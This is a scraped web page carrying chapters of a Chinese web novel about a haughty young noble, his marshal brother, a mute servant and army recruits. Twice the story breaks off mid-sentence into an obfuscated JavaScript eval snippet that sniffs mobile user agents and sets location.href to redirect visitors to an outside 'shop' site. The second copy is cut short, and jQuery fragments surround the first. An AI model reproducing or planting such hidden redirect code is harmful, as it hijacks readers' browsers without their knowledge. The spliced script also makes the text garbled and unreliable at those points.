即使饿了三天三夜,她依然觉得她没资格享用这份美味。
由他人施加的痛苦观念仍和她身上不间断的伤痕一样,难以自愈,无法抹除。
苏罗收回目光,双手相握支着下颌。
“你的父亲,是个叛徒。”
静默良久一开口就是如此戳心的发言,他冷然的声调就连苏霆都听得心震动了一下。
“有人恨他,他该。”
“他们诅咒他,唾骂他,掘了他的坟墓鞭尸,他照样该。”
“因为他就是叛徒,是他们的叛徒。”
……
狠戾的话语一句接一句,这次轮到苏霆坐上旁观席,看着阿莉西亚的小脸愈发惨白,双唇颤抖加剧。
他不确定女孩到底能不能听见,但他确信,她内心最痛的伤疤正在被残忍地撕开,卑鄙地践踏。
只能承受这一切的她犹如风中柳絮,眼睁睁看着自己瓦解、消散。
直到……
“但是,他是你父亲。”
“而他爱你。”
女孩突然停止了颤抖。
“他到死了都还想着你,到灵魂散尽他依然思念着你。你仍是他最想见到的人,也是他死也不想见的人。”
说到这青年一顿,再次倨傲地挑起下巴。
“你能回答我,为什么吗?”
像是听不懂的女孩抬起泪痕斑斑的脸,一向无神的眼珠融进了灯光与泪光,隐约有神采跃动。
这抹极易消逝的神采还有另一种名字,叫做期待。
而应她的期待,苏罗的低喃声刺破包围她至今的谜瘴。
“他想站在最幽暗的低谷,看着你走向最光辉的高处,离曾经的他越远越好,那会让他欣喜若狂,了无遗憾。”
一语终了,死寂占领整片空间。
阿莉西亚僵立着,她本来就不会说话。
苏霆伫立一旁,自觉地保持沉默。
只是,他没忍住多看了苏罗一眼。
而那一瞬间,他从对方的表情中发现了比狂傲更触动他的东西。
素来将自己武装得滴水不漏的青年,此刻竟心旌摇曳。
故意绷紧的脸是试图掩盖什么的证明,眼里的昂扬淡去,被一抹平静的哀愁取代。
可下一秒,青年又重新戴回傲然与自满。
他没马上说话,转而用左手端起切开的第三块苹果派。
那斜眼看来的目光,与他当初分享苹果时的如出一辙。
“对你,我还是稍微有点不满意的。”苏罗又打破了维持几秒的端正坐姿,一手撑着脑袋,“你都没像我要求的专门来喂我呢,大哥。”
再听这矫揉造作的撒娇,苏霆低下头,轻轻笑了一声。
他伸手,但没拒绝,反而拿起对方用过的那把餐刀。
同样的插入中心,同样的大咬一口,他的吃相却斯文也庄重太多。
完成这如宣誓仪式般的进食,苏霆擦去嘴角粉末。
他挺直脊背,坚毅的脸上尽是一种臣子复命的忠贞色彩而不自知。
“这点你不必担心。”他迎着青年狡黠的目光洗礼,腔调果然被带偏了,“作为赔偿,我会为你安排盛大的出院庆祝宴,好让那些爱多管闲事的老鼠也来蹭一口最后的晚餐。”
5. 元首的蓝宝石05
继苏霆元帅化身弟控寸步不离照顾弟弟七天七夜后,又一条劲爆的小道消息在军营里不胫而走。
“那位小少爷,终于要加入家族大业了!”
以年末甩卖的主持腔调道出消息,昨天刚被季宇飞敲打过的新兵——尼克·哈里斯自己倒先垂下双臂。
营地宿舍内,他站上中间长桌,被一群反应平平的听众轰下台。
“得了吧,你还不学乖乱讲话呢!”
“你昨天不还说人家双腿重伤,要元帅寸步不离照顾吗?”
“拜托,虽然他也是苏家人,可你别忘了他是omega啊,都快成年了。”
“管住你的嘴吧,小心这次被抓包后真的被逐出军队……”
声讨里多半是同僚间的逗弄,尼克护着脑袋,也配合着演了一出被人人喊打的戏码。
等打闹结束,他们挤在下铺床沿互瞪眼。
好奇是最瞒不住的渴求,当中果然又有一人逮住尼克问话。
质问内容无非是他从哪听来那么多消息,有什么根据。
“这个嘛——”
尼克故意拖长音调,好笑地欣赏一圈兄弟们那如雏鸟嗷嗷待哺的神态。
进了军营,他们的生活只有严苛的训练巡逻还有随时会发生的外敌袭击。
可人又不是机器,能够只靠充能三百六十五天连轴转而完全不疲惫。
他们三点一线的生活里,也就最基础的吃喝拉撒睡,以及天然的八卦心能够聊以慰藉了。
用半分钟吊足胃口,尼克双手环抱,得意洋洋地说道。
“我自然是有靠谱的渠道,不说百分之百,也有百分之九十可信度。告诉你们吧,我可是我们村的‘顺风耳’,什么消息都逃不过我的耳朵。”
见他如此,年轻的战友们更不打算放过他了。
其中一人憋着笑举手,反问道。
“那么请问无所不知的顺风耳阁下,那位小少爷今天出院的事,你知道吗?”
尼克·哈里斯抿了抿唇,罕见地不吱声了。
正好集合的铃声响起,他与其余人手脚麻利地排队出门,前往第六训练场。
他刚才的沉默并非情报缺失,而是他知道,有些事不该说。
就譬如,今天出院的苏洛少爷被接回了主宅,而非平时居住的,位于霍里德镇的私人宅邸。
头顶是难得一见的太阳,脚下是干爽踏实的草地,从笨重雪行车下来的苏罗双手插兜,悠长地吸了口气。
在他看来,本日的气候也相当识趣,既没刮起暴风拦路,也没降下大雪扫兴。
迎着熨贴的阳光,青年缓缓举手伸懒腰。
他从头到脚都是厚实的新装,黑外套上的深蓝围巾衬得他矜贵又潇洒,只要再给他一顶适合的帽子,他走错到时尚秀的T台也不会违和。
而在他身后,阿莉西亚还是那件旧衣,破洞的鞋与袜作配,看得人脚底凉飕飕。
随行的司机即苏霆心腹之一搬下行李箱,刚直起腰就对上小少爷审视的目光。
“你可以回去了。”
和传闻的一样,青年操着不可一世的口吻,哪怕他唇角有着上翘的弧度,也让人感觉不到礼貌与恭敬。
如今亲眼见证,司机反应平淡,用格式化的冷硬语调回道。
“苏元帅特别命令我,要安全地送您到家。”
“噢,那你已经送到了,慢走不送。”
“……”
司机无言的几秒里,苏罗扫一眼两个硕大行李箱,意有所指道。
“我已经在你们眼皮底下被掳走一次,我还会怕第二次?”
虽然眼神上有微弱的闪躲,可一身墨黑制服的司机仍不愿放开箱子提把。
“你叫什么名字来着?刚刚我没记住。”苏罗忽然问。
“西奥——”
“哎,算了,肯定是又臭又长的,我懒得记。”
继无礼的打断之后,苏罗特别又提一嘴。
“一个自甘堕落的卑贱者的姓名,记住也是浪费我的时间精力。你可以滚了。”
‘滚’字远比上一个‘请回’恶劣也更富情绪,司机本就冰冷的脸孔板结,硬邦邦的像块冻土。
要知道,他胸前就别着名牌。
这与元帅天差地别的倨傲青年甚至都不屑看一眼。
哪怕素质再好,性格再稳,强烈的对比与自尊受辱的冲击也如一股激浪拍碎安宁。
恰是男人松手的瞬间,静止的阿莉西亚动起来了。
她自觉地提起两只大行李箱,娃娃则被她夹在脖子下。
见她积极抢活干,司机亦不再坚持。
点头并向苏罗行礼,此为他向苏元帅奉上的敬意,而非对方塞给他的烫手山芋。
男人启动车扬长而去,于宅门外的冻土路留下一道深黑辙痕。
全程冷脸的苏罗蓦地笑了,乐到露出两颗尖尖虎牙。
“他也不错,就是身上的气味我不喜欢。”
因为夹着布偶,阿莉西亚慢了半拍才费劲转动脑袋,勉强向上看。
大抵是延续了阳光的明媚,苏罗拍拍她的小脑袋,宽慰道。
“你放心,你还是我第一忠仆。今后不管发生什么,这个位置永远是你的。”
得到他不正经的保证,女孩总算放心,将两只箱子又提稳了些。
前者按响门铃,重达十吨的防弹大门应声上移。
如同公演前帷幕拉开,主宅全貌于门后的道路尽头显现,远看似一排迷你的积木方块,分布错落有致。
那些屋顶上的紫色旗帜飘扬,似在热情欢迎着暖风与今日的贵客。
粗略扫视一圈,苏罗给出中肯评价。
“不够宽敞,胜在干净。”
他口中‘不够宽敞的’苏家占地共三千平,原身是一处旧时的作战基地,容纳上万人绰绰有余。
初代苏元帅给绝大部分建筑保留原状,仅做了加固防护。
后来有好几次这里都被直接当作收容所,保护周边尤其是防线附近的居民。
苏家人主要使用也进出最多的地方,只有位于正中心的红屋。
名为红屋,它却愧对自己的头衔,外墙灰白嵌着金属隔板,顶端刷着一层特殊屏蔽涂料,沿边垂挂不规则的竖线。
慢吞吞走到半路,苏罗已失去七成兴趣。
在他得到的记忆里,‘苏洛少爷’同样在出院后回到了主宅。
不过和他不同,蔫了吧唧的少爷是坐着轮椅,被从私宅一起带回的仆人抬进偏僻的新屋。
算算时间,和他共同生活的那五人也快搬进来了。
而依苏霆保证过的,一场仅限于旧识亲友之间的聚会就定在三天后。
思忖间,苏罗已抵达红屋前的双分式楼梯。
一名满头白发,面容精悍的老者正候在底端。
目光相汇的瞬间他上身前倾,三十度的鞠躬准到令人发指。
“欢迎您回来,小少爷。”
即便年过古稀,老人声线依旧清晰有力,举手投足间透着一股暗劲,没愧对他厚风衣下孔武的身躯。
这个人,‘苏洛’不曾见过,记忆里也没有相符的印象。
而对待他,苏罗要比对司机的态度好多了。
青年扬起脸,展颜一笑。
“早上好啊,大鼻子老头,你身体怎么样,还没有快死吧?没痴呆吧?有子女吗?他们会来骗你钱让你在我哥面前说我坏话吗?”
突然被一箩筐莫名其妙的话砸中,老者有数秒停顿,但仍有条不紊地回答。
“多谢您关心,在下一直独身,且每半年定期进行全面的体能检测,目前依然是记录保持者。”
语毕他直起腰,再补充一句解释。
“在令兄营中的各项记录。”
苏罗不禁露出耐人寻味的笑,小跳两步凑到边上。
“老先生,您难道不嫌累吗?一把年纪还要被臭小鬼叫来当牛做马。”
说着他还捂住心口,一脸的惋惜不忍。
“您为边境付出大半辈子,已经是半只脚踩进棺材的人了,应该选个好地方,实现年轻时就盼着的颐养天年吧。”
关怀是假惺惺的,微笑是别有用意的。
可偏偏是这两者引得老者首次牵动嘴角,带过一抹真实而痛快的笑。
“小少爷您说笑了,各人有各志,在下年轻时日夜盼望着的……可不一定就是安享晚年。”
闻言苏罗回以一声轻笑,拍拍对方肩头。
他力道不轻不重,恰似他再开口后言辞间的认可。
“那么海勒姆先生,劳烦您再替我置办些私人用品,我会让她给你送清单来,然后你带她一起去。”
从始至终未做过自我介绍,当听见苏罗念出那名字,老者却还是一张处变不惊的脸。
他再度欠身。
“遵命,小少爷。请问还有什么吩咐?”
苏罗已往台阶上走,头也不回地向后招手道。
“有需要时我自会通知你,其余时候你见机行事。”
“我明白了,小少爷。”
老人答复掷地有声,即刻迈腿追随,恭敬地与他保持一步距离。
安静的女孩一直同行,似在有意学习‘同事’也是管家海勒姆,或该说早已隐退的前上将的步态。
十七年前,上任元帅与副帅横死,彼时二人的长子苏霆羽翼未丰无法挑起大梁,正是此人力挽狂澜带领全军度过最动荡的六年。
论资质,海勒姆武力谋略皆在同辈之中独占鳌头。
论人脉,由首都下调到这的他可谓是资源遍全国。
在最适合给斯卡蒂管辖军改名换姓,且绝不会遭人诟病的节点,他却选择等到苏霆能独当一面,将苦苦守住的位置拱手相让。
自那后,海勒姆就彻底消失了。
今朝认出堂堂前上将,苏罗靠的不是运气。
泡在疗养所的八天七夜,他靠着厚脸皮和一张无人可敌的嘴已重构出一个全新的,独立于苏洛少爷这一身份的信息库,了解到系统不会提供的深层背景。
土著,流民,跟随初代军队定居的移民,主要由这三者构成的斯卡蒂民众对以苏家为首的管辖军共持两种态度。
一批人感激并信赖他们的保护,相信只有苏家才能救他们于水火,尤其是经历过最残酷的斗争的上两代。
血红王倒台,其名下的蓝月能源勘测图暴露,斯卡蒂便成了无数豺狼虎豹垂涎的宝库。
如果没有军队设下防线,恐怕如今这连山都被挖空了。
然而有支持就必会存在反对的声音。
民众中的另一批人坚信,是管辖军的到来才让事况恶化,造成山脉内苦困危难的现状。
如果不是军队设下严令,他们早就能跑到别处谋生了,不用在这挨饿。
如果没有苏家拒绝商谈,同样由当地人组成的索拉兵团早就与他们和解了。
如果……
记恨者千千万,憎恶的理由亿万万,但唯有一点是他们至今共有的臆断。
苏家这群不请自来的家伙,还霸占着能源洞呢。
分明这是属于他们斯卡蒂人的东西。
只是简单回想一下该观点,苏罗就禁不住地翻白眼。
无关道德层面的谴责,他纯粹是为别人胆大包天的贪图而鄙弃。
他们贪图的可是他的所有物。
哪怕那是他最为厌弃,丢在宝库最角落乃至被他除名的破烂玩意儿。
说到破烂玩意儿,苏罗于大厅中间止步。
他示意阿莉西亚放下右手的箱子,从外隔层中取出一颗金属扣。
扣子拇指盖大,同心圆的纹饰十分常见,但它的表面印着一道很刻意的刮痕。
像是未完成的数字3,又像镜像的旧字符F。
“这是疗养中心八楼1-203的巴兹交给我的,他在找曾经救他一命的恩人。”
比海勒姆年长的老兵,自入伍起就一直是默默无闻的列兵,可他却也有一段独属自己的传奇。
七十五年前,才是新人的巴兹随队伍去营救被困雪山的村民。
人是安全救到了,可他们却非常不幸的碰上加强的暴风雪,还是那十几年里最罕见的一次特大级。
队伍在找掩护的途中走散,而负责垫底的巴兹则意外摔下山路。
他清楚地记得,自己的心脏被下方的树枝贯穿。
后来留在记忆里的片段零散又朦胧,好不容易拼凑着叙述,只能得到一个是梦的结论。
他梦到有谁救活了他,并在山洞里与他一起烤火喝酒,谈天说地。
忘记了性别,记不起相貌的‘那个人’,他知识渊博,谈吐不俗,有时候的笑声虽然听着很怪,但和他在一起感受到的欢愉却令人余生铭记。
犹如忘却尘世,剥除枷锁,化作一名纯粹的自由人融进天地。
翌日大暴雪停止,战友们在崖底的雪堆里找到巴兹。
可别说心脏的贯穿伤了,他全身上下只有磕到石头的淤青,外加些许冻伤而已。
唯一能让他坚信‘梦非梦’的线索,是他被发现时就捏在手中的纽扣。
如今,纽扣被苏罗转交到海勒姆的手中。
“您想替列兵追查那个人?”海勒姆神色未变,只是语气里多了分不确信。
老兵巴兹的事迹这片区域无人不知。
那日渐痴呆的老人送走了爱人,送走了同样入伍后牺牲的子女,孤独地穿梭在连他自己也走不出的记忆迷宫里。
每当见到一个新面孔,他都不厌其烦地重复这段往事。
如果对方耐着性子听完,他会更加诚恳地询问,期望找到恩人下落
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176267|150591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
如果听众不配合地无视,他也不会死缠烂打,而是独自在角落一遍遍地絮叨着。
但巴兹把宝贵的信物交给外人,这事还是海勒姆头一次见。
“他郑重地向我请求并进献了。”
苏罗将手收回背后,略微侧过脸,好让新管家在他阐明理由时将他眼中的肯定看得真切。
“答应并完成他的夙愿,那就是我应尽的职责。”
严肃过后,他再慷慨施出笑意。
“你和你的人很擅长找东西,而且越难找的你就越有兴趣,对么?”
意料之外的言语掷地,余音却似落石击中老者原本无波无澜的心。
他眼里亮起一片寂静的光,耸动的喉结是千言万语堵在嘴中,更是全力押回的私人情绪。
但到底是资深老前辈,海勒姆完美克制着澎湃的心意,仅仅是鞠躬时又加深角度,并且拔高了音量。
“是!在下定不会负您所托。”
窗外阳光斜裁剪影,加深三人脚下石砖的纵横维度,如在黑白棋格之上。
看着头低于自己的老者,苏罗非但没有受宠若惊,反而又揉了一把阿莉西亚的脑袋,像一开始倒出俏皮话。
“现在你们都有事做了,就留我伶伶仃仃一个人在大房子里,只能跟那边的肖像画干瞪眼,唉——难得今天艳阳高照,气候宜人,早上的占卜广播还说是我的幸运日呢。”
哀叹完毕,他又自说自话地接道。
“啊哈!我想到一个好点子了,不如……”
不如,趁休息时间去第三训练场附近看看,能否偶遇到元帅本人或好说话的那几个少尉。
对于这个提议,尼克同寝同队最要好的几人全都反应一致。
“你疯了!好奇心害死猫,以后这句话后面还可以再加一个后缀害死尼克了!”
这是他的上铺。
“我恕不奉陪啊,昨天跟你一起撞见参谋长,我心脏病都快要吓出来了。”
这是他的对铺。
“再见,你们作死别拉着我。”
这是最寡言的斜对铺。
本着宁折不弯,忠贞不移的北军精神,三人在坚守十分钟后光荣地‘牺牲’了。
牺牲给了尼克油腔滑调,鬼一样能说迷糊人的嘴。
他们四人后背贴墙,隐匿在旋梯转角的阴影处,各自神经兮兮地张望着。
“是你说能看到苏元帅拿着弟弟照片以泪洗面我才一起来的啊!你要是敢骗我,你今后最好每晚都睁着眼睛睡觉。”
尼克的上铺攥拳摆动,低声恐吓。
“啊哈哈哈,你就等着瞧吧。绝对的前所未有大爆炸事件。”尼克食指将前额金发一撩,一张俊俏脸上的表情别提多自信了。
他的自信不是因为消息属实,而是他知道这憨壮上铺每天睡得比他更早更沉,压根威胁不到他。
当然啦,另外几个人也是。
这真的不怪他们中了尼克的套,只能说他们这一批新人跟苏洛小少爷太有渊源了。
先是对方遭到绑架,他们的宣誓仪式因此推迟。
后是人家用亲情‘绑走’行走的冰库元帅,搞得军营人心不稳。
更别提他们几个全与小少爷同岁。
有着一样的年龄,住在一样的雪域,却过着截然不同的生活。
没有什么比这更容易引起好奇,或该说一种微妙的对比欲望了。
毕竟,人总是会对自己没有的心生向往。
“话说回来,这里好安静啊。会不会已经结束了?”
横竖等不到有人经过,尼克的对铺有点等不住了,双腿动了动。
“再等等。”位置靠外的尼克轻声制止,以指抵唇示意,“嘘——我好像听见脚步声了。”
许是压力过大,也可能是听力真不如他,另外三人屏住气使劲听,却什么都没捕捉到。
他们正欲质疑,尼克忽然带头蹲下,两颗精明的眼珠转的厉害。
“怎么是那个方向……”
他困惑地含着声音嘀咕。
他们所在的楼梯间位于通道中段,前后各有一个三岔口,通往不同的训练场。
如今低级兵的训练结束,第三训练场也空无一人,说明他们改换到露天场所。
那么,该怎么解释一道由远及近,悠悠从入口方向传来的脚步声。
时间于几人压抑的呼吸中流逝,慢慢地,他们全听见了。
节奏散漫无序,有一丝晨间醒来趿着拖鞋的邋遢感。
可不知是鞋跟材质过硬,还是那双前行的腿始终蓄着力道,叩响地面的音色格外刺激神经。
喀啷喀啷,喀啷……
最后也是离他们最近的一次余音,毫无征兆地消散在空气里。
一样莫名其妙的,四人挨得更紧了。
若可以,他们不想称这为害怕。
这只是因为觉得奇怪,并且担心受罚罢了。
他们颤抖也不是因为发怵,是离开有暖气的房间太久感到冷而已。
在没看到一个突然倒吊挂下的人影,发出歇斯底里的惊叫声之前,他们都坚持着以上观点。
“哇啊啊啊啊!”
“什么、啊、什么啊!”
“别过来——”
狭小空间里的几名年轻人乱作一团,这会儿被诓来的三人也无意间报仇了。
他们整齐划一地躲到尼克身后,将同样脸色发白的他推到最前面。
也是他们认为的,‘恐怖未知生物’跟前。
“哟。”
未知生物发出了人的声音,属于年少者的轻细,却有意用一种上扬的气势抬升。
双目紧闭的尼克眉头一皱,眼皮谨慎地撑开条缝。
那人影的确是倒悬着,乌黑发丝缕缕垂挂,露出包含额头在内的全脸,完全的死亡拍照视角。
“你们居然在玩游戏?”
同样的反问句式,他的却不似季参谋徒有威严,反而藏着玩世不恭的谴责。
这简直就像是在说——有此等好事,你们怎敢不告之于我。
当下,尼克·哈里斯双眼全睁。
映在视网膜上的面孔与他同样青涩,虽没有令人惊艳的美,却同样过目难忘。
因为分明是倒吊这一最毁形象的姿态,对方却自在环臂,笑得恣意,两颗虎牙露出双唇,抓人眼球。
“喂,你们也算我一个呗,这样我也是共犯,不会告密了。”
陌生青年再开口,语气果然谈不上友善,甚至还有威胁之嫌。
可因着他无畏无惧,过分耀眼的笑,在场几人瞬间丧失反抗意念。
更有像离他最近的尼克·哈里斯一样。
呆滞的脸掠过一片霞色,迅速地染红耳根与颈间皮肤,最后,异常的热度回涌进微微跳快的心脏,在此沉底。
6. 元首的蓝宝石06
红的。
沉坠至底的红色。
如已干涸的血液,如眼睑外的日光,位于可见光谱中的末端颜色却拥有整个序列之中最强的穿透力。
当看见窗帘下摆的红色流苏,苏霆脑海如流星一般划过这样似是而非的想法。
那个人,就像一抹无法被稀释污染的灼红。
将时间往前回推,不擅长胡思乱想的苏元帅会诞生这样的念头其实有因可循。
昨晚,也就是他从苏洛病房带回那只经过生物记忆芯片改造的白鸽后,他立即在自己沉寂许久的人脉网中发送了消息。
这么做一是为尽快查明真相,二是为传达一个危险信号。
有什么不得了的人物盯上,乃至要正式向苏家出手了。
山脉由军队驻守,军队听从苏家指令,若谁想要将手伸进斯卡蒂内部,自然会想先瓦解他们。
正常情况下,猜测链是该如此定性的。
可这就无法解释,曾经的那位军事巨擘为何会毫无征兆地找上他,主动要求近身监视苏洛。
‘我对统领士兵没有兴趣,也早看厌了那些无意义的纷争,今后可能会出现的麻烦,凭你应付足矣’
这是他的导师,也即义父海勒姆在人间蒸发前对他说过的最后一句话。
此后他无论以什么方式去联络、去找人,结果都是一样石沉大海。
如果不是他每年都会收到一份身体检测报告拿去登档案,他快以为对方是在某个角落突然离世了。
“请问……苏元帅,这方案有什么问题吗?”
战战兢兢,细若蚊蝇的声音响起,却似音叉的嗡鸣一样震动苏霆大脑。
意识到自己竟在议中走神,男人掐了掐眉心,转手将文件页合上。
“我大致研究了一遍,里面还是有几项历史遗留的问题未解决。”
说完找回状态,苏霆立马拿起笔在纸页上描画重点。
“暂不提我们的预算是否充足,根据五期民调数据还有季参谋那边上交的走访报告看,将近五分之一民众抵触情绪强烈。今后我们已经不能再扩招新兵了,强征更是不行。”
哪怕现今的北军形式并不乐观。
摆完论据论点,苏霆果然见属下,即一人身兼多职的中尉面露难色,一副苦苦纠结的挣扎模样。
对方想说什么他又何尝不知道。
可事实就摆在眼前。
摆在所有人包括他们身后的百姓眼前。
资源短缺,设施落后,人员匮乏,内忧外患民心不定……
从先代开始累积的难题如同斯卡蒂最高峰上的一颗最小雪球,它在下行的过程中越滚越大越卷越乱,灾害规模也日渐翻倍。
等超出边界,局面失控时,降下的将会是比雪崩骇然万倍的毁灭。
那样的结局似乎命中注定,可他又绝对不想看到。
“那苏元帅,我们……”
部下吞吞吐吐,想必内心正进行着比刚才更激烈的天人交战。
最终,他偏向吐露的一方战胜了。
“元帅,我们真的不向首都,向普莱德大元帅请求支援吗?”
苏霆正低头收拾文书,他骨节隆起的手先于脸部表达情绪,直接捏扁了硬壳夹层。
那曾抬起过军用战车的右掌,在金属表皮印下清晰的五指印记,无数裂纹。
其实中尉发问时,季宇飞就站在门外。
他怀抱三十多份待处理的文件,本想磨蹭一会儿再进去,可眼下他心急如焚,连忙用肩膀去顶门。
“乔中尉,您可让我好找啊,伯德托我通知你去他那领新研发的武器呢,你赶紧带人去试用一下。”
中尉不解又惶恐,匆匆点头与他错开身让出位置。
外门自动闭合,季宇飞大步上前又重重放下东西,夸张地用手臂比叉。
“停!办公区域禁止耍脾气!我们刚修好你弟撞的大窟窿,可没余钱再给你的打砸补了!”
说不清是因为又听到了那人还是靠自己的定力压制,苏霆撇过脸,将怒火化作无奈的吐息。
他余下的沉默造就季宇飞更疲惫的心态,跟着他连叹两口气。
“你还真是不容易啊。”季宇飞摇着头。
成为耗脑力的参谋,他自认是全营地最劳神费心易早衰的一员,可和这位多年来顶着各方压力与职责的元帅相比,他的烦恼程度至多是走在路上摔一跤。
为翻篇话题,他有意给出最上面的报告。是前十七年苏洛少爷极其身边人的资料整合。
“别说全军缺壮丁了,我看你们家才是最缺人手的,一直都是。”他不禁苦笑道,“我都怀疑你们是不是中了什么邪恶诅咒。比如血红王的后裔基因会招来不幸,吸引魔鬼什么的。”
从上三代开始,整个苏家的成员不是早夭就是横死战死,原本人丁兴旺的大家族到了苏霆这里彻底成了‘孤家寡人’。
缄默的男人回以无情绪的一眼,才平复的心湖再度动荡。
等翻完全部资料,他摘出其中两页,收进制服的内侧口袋。
见了他的动作,季宇飞又表演了一回目瞪口呆。
这可是机密文件,看完即销毁的。
“你准备带回去给谁啊?”
惊愕的季参谋虽然心里已有一个答案,可当苏霆双眉微蹙,面露迟疑时,他还是关不住脑中炸开的思维烟花。
“不会吧,那位到底给你灌了什么迷魂药?还是说大元帅您其实暗恋亲弟良久,苦于伦理阻拦故意冷落对方,今朝得知对方与自己并无血缘,喜气洋洋地开始追求攻势了?”
季宇飞的惊讶真假参半,大缓一口气道。
“哇——这么狗血的吗?”
苏霆抬眼,啧了一声。
“你想多了。我只是为了防止不必要的口舌之争。”
如果只是口头转述如此关键的线索,他都已经能预想到那青年嘴角一歪,对他极尽挖苦和贬斥的场景。
一次两次还好,回回如此他实在承受不起。
更可气的是,真要吵起来他似乎还说不过对方。
前期积压的不满冒头,苏霆冷哼着甩回一句。
“要我喜欢他,你还不如让我向尊贵的普莱德大元帅叩首求助。”
连‘叩首’一词都拖出来用了,可见苏霆是真狠足了心。
看着他,季宇飞一扬眉,愈发觉得好笑。
自幼就处变不惊,喜怒不形于色的男人,今天的脸却像被探照灯过度暴晒,放大了每一个微小的线条起伏,而其名曰‘束手无策’。
还能有比这更稀奇有趣的画面吗?
即使很不厚道,但季宇飞最后还是笑开了。
“瞧您这样子,我都快等不及见一见那位能折磨大元帅的‘魔鬼弟弟’了……”
魔鬼。
毋庸置疑是魔鬼。
身法快如鬼魅,出招毫无章法。
用尽阴谋诡计将猎物逼进角落,却不急于狠下死手,反而优哉游哉地踱起步来,重复地折磨并欣赏着自己的杰作。
杰作即是被猎者的如瀑冷汗,苍白脸色,还有一声声源自内心的惊悚求饶——
“停了、拜托你停下,我认输!我投降了!”
第三训练场内,年轻的新兵发出哀嚎。
他整个人以极度考验柔韧性的V字型卡进墙角,脑袋被一只手从后扼住脖颈。
尾椎骨处是谁的脚尖,如同森冷枪口抵在末梢,将他踩得动弹不得。
无论是对方轻松用力还是他拼死挣扎,他都感觉自己会从中间折成两半。
幸好,他报出安全词即‘投降’后,魔鬼放过了他。
“很好,你也是我的俘虏了,我将你收编进炮兵组,你将拥有一次瞄准击杀机会。现在,来宣誓吧。”
魔鬼发出孩子气的欢快话音,令他两股狂打颤,后颈凉飕飕。
现在的‘炮兵’,尼克·哈里斯的上铺转过身,胆战心惊地单膝跪地。
“恳、恳请吾王、吾主,赐、赐予我等与您沐浴同辉,共睹永恒的荣耀……”
被追杀的后劲犹在,新的惧意又让他舌头打结,他好不容易才磕巴着说完整段誓词,汗水浸透衣领。
他能肯定他说错好几个字,顺序大概也有颠倒。
此时此刻,新兵犹如觐见暴君的庶民,一颗心走着钢丝摇摆,只等坠向死地。
“嗯,去吧,你负责西边的门。”
谢天谢地,魔鬼饶过了他,大步走向掩体群的深处。
等看不见那道背影,四周重归死寂,他才虚脱地往墙一靠滑坐下来。
他千言万语化作一声——
“这、这真的是游戏吗?有没有搞错!”
半小时前,那名陌生的青年在楼梯间堵住他们四人,莫名其妙说要跟他们玩游戏。
不知他们当时怎么想的,竟然全员答应了,还放任这明显的外来可疑分子作乱。
所谓的游戏,根本不是过家家、捉迷藏之类温吞的类型。
分布阵营,估算战力,谋划策略,他们各自代表一个国家的军队在战场上厮杀攻占,严格按照最初青年设定的规则。
其实对接受过正统训练的他们来说,这应该是一场毫无悬念的速通赛。
可谁知道,三十分钟里光是他就重开了十七遍。
他与同伴和盟,青年将他们拆解吞并。
他假意投诚欲意偷袭,对方将他斩杀殆尽并杀鸡儆猴。
到后来他干脆放弃反抗一味地躲藏,可恨的赢家却仍在掌控全员后狠狠敲打,再次将他收入麾下。
比之更令人费解的是青年的实力。
他们快,他能更快并且总是游刃有余。
他们从收敛到被逼出全力,他照样一脸兴味十足,戏耍着将他们制服。
简而言之,他们测不出青年的上限,更看不到他的下限。
这一切仿佛就如他最初所说,仅仅是一场‘征服游戏’。
现在,魔鬼暴君又去追逐下一个征服目标了。
灭亡数最少的尼克·哈里斯。
最先答应参与的是他,坚持到最后不肯认降一次的也是他。
多次凭自己的三寸不烂之舌斡旋,如今才脱身的他躲进一号入口旁的战壕,大脑因高速运转而发烫落汗。
“那家伙,到底哪里蹦出来的蒙迪戈……”
他压制着喘息,噙着笑极小声嘟囔。
生于最偏远的山间小村落,他听着长辈们口口相传的怪物传说长大。
蒙迪戈。
一种冰封在极寒之地的人形怪物,不老不死,无需繁衍。
它能在任何极限条件下存活,能以任何活物的血肉为食,当中最偏爱人类。
因为聪明的两脚兽会拿起武器自卫,会制定战术反抗,那将挑起它如寿命恒久的□□。
相较同样威胁人类的猛兽,它对杀戮的追求纯粹至上亦扭曲至极。
另外,还有传言,如果遇到符合条件的人,蒙迪戈便会将其转化为同伴,而不是将其吃掉或像对待坏掉的玩具一样拆解丢弃。
不似吓破胆的同龄人,每当听见蒙迪戈的故事,尼克总会爬出温暖的被窝,追着父母询问更多。
耗不尽的求知欲造就他有别常人的优先级,眼下,他屈膝藏起身影,隐匿气息,却并非出于害怕或对异常的抵触。
难得碰见这种奇事,这等奇人,实在……
“嚯,幸运呀。”
不属于自己的嗓音续上心声,尼克猛抬头,与壕沟顶边露出的一双眼眸相望。
他僵住不动,对方也没更进一步。
“负隅顽抗的小飞虫,被我发——现——啦——”
玩味着些许期待,些许生动的欢喜,以及一种呼之欲出的狂意,苏罗向下睇视着金发青年,抓住壕边的手咔咔作响。
尼克先是一怔,随后完全放松身体,双手举到耳边。
“哎!真是败给你了,好了好了!我也投降行了吧!”
他的语气谈不上挑衅,细品之下倒有种懊恼的自暴自弃。
典型的玩的起输不起。
“现在您满意了吧,吾王吾主啊?”他起身缓步上前,仰头摆弄出一张诚心诚意的脸,“恳请您大发慈悲终止征伐,放过我等弱小无能之流。”
特地搬出拗口的措辞,他又双手合掌,小心地拜了拜。
“这里不少高级长官会经过,要是等会儿被他们看见了,我们饭碗小
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 